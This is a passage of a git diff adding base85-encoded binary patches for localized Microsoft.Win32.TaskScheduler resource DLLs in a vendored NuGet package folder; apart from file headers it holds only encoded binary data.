zVIA?j7WA}2z>ZQ;tS}@Mc}JSBJ0XFRXLzIzLpOxIWet`J@_-gb^WL>B&;C|RE?O8u zN}#j7Sxsw%wBdR}0dFK*n~q?i+&qIJ(h^L$|HFguC@LdV>yJZwasX`r4e(IQrhRI- z31_5=vz~G}5UqL5>Xzz5P%wxUy!aw<^Q`HTl@Bd|m0pzym9W)8B`jDq*U|T`T&^uP zt;1gFNq0cvRi3DB*6nGl-5aQRz!KxzAuzR#qQ5uj6lIF55OOEWPTMg1cSvdh6TW<; z2>0)pf1DIsnf8qI%a}$rW5%kP!pYT~_M70oJIaZW_AhWgZIv$zqp=g<$#a$Gtd^x@ zmzvh9Wx_A80)VL{cGt+HCb93)dhp;le%JGRf)LWOtCH{LjeNqu@9`)vq~<=7Dlq)| z#6@-6B~*BfkBiq&pqZZdGC(aBE&53mf`LXYI@c+iZN(14IE$ZAC?m1xS-JeT7nQlA zGiPO|B3OxjrwQ^iTumRcs3Xl=;AHg{?z(3PmQs6yw6^2BpV3a zRDPe&@5}hTir)|7PM1nWc7?Es>|S;^zYpQ}D1N`6-}U^iWBu59rUPvo?!(w8f{sP= znP0GP(2r+f-Fj4#?st*?oO=wr#qJUC#om4i{FngcHC!ZLRF#-G&0bh$kse}NjhD3- zXp1b8$%$ewOK~_PYk{Ra&+N2FDNcB|pv);ToylpJ+kxql!z7zaiNJ@VQKs3grAAwM zFd#>Uc#|_2kY+C}m(9f`oq#5rEt0nm?W3D!HpzB}y~wG{H{0S3x;&#}QLd>(BI9IK z{0?K(#q6Jx8280hQ{<;-hBfvO1tF~R1r~!-n@Yy0eAkOY zi}B3d6g?f~Q1 =>E&PLlw(sY}}jqM)mu#PbCC$t*FMjyaCu^gXln;7ttDf`5**<-@+DzZH9ov6yij@EH2!Y+x zr87}T{#sy_pTSW}%!QIeG>Q%^O^YNNy*VW=m5rrvqF7{?MQ4d5>UD9V(N-uL@LZyv zHaJ9kkw^g*+an6}G9cl^%xJNQ?K+4Q52F(zLIGlgxfEmb)9iA(#WKxkwyEn_l5~{lbp1FI^!#)$n8Qyq|F{Pb zTo6SB9rdYiDTJ>wkf*xMW?^zpGTuk{!LD6rdnTYe8`bamxM#4L=w+ki{V2xSxKBo( zu2Vg}{DIcHy1Q$;d^h$mhpOkgv^n@+=@U&hN_?RLZ*Vb z9raK%e!^0@O@v$#PnADuNi$T2qw*J3%gZsd6jVkO*s1I%W2_!Ui2Ro|QRwkrjN_D4 zh!vT^JEk%y{Ww=kdL+#bS`l`u#e5OgnedZZ0u`Mm__(VjU6JcW8qqn6h}r=aXUPI8 z3{pjaII3Ey{v$7uJ#-#Jr8_I0A~1-8u=6>`LX4Mk$OM)MT}8x(prol4*cLpC&{Pjm z{eY~bsz4#9FJ`eA8zHM0+EDG3qz7VKxkXeURnJF6UWE?yhI;s=*{A8Gc~`C8k?m%- zoJ&ysNP3omD_KR=4QzQh-?+Oy-gFQ`hX;@1Nwqq(_W5c`drZv1Kd)UtB&JvmwLh5#mjmqvv-uhiGmY zye;t6Lq3+FGx@}4-Tz)69giO664i<5G|mC}RFkK@I|m=10-K6iim!!xtrWgei{T~k z3F~A|WcBc{fv-pd&RwZzV0g)3V;d3@C!fYuw8(tTe1 zzr{6?$2E|5$LMwz+libm1%40Qaqff`F8%5HXYc@CX!P6jtlxLpKZDsn*{FKpe*oAO B*0BHp literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..5e8eb0543b4c2fd804f342733a7c78a034187879 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..f3eb272a2ed9fcf930dce59bf1b83c2ae86a7bd5 GIT binary patch literal 10752 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1ae0efbfcb857dd28e1632d5c83950de2a0700b4 GIT binary patch literal 10240 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 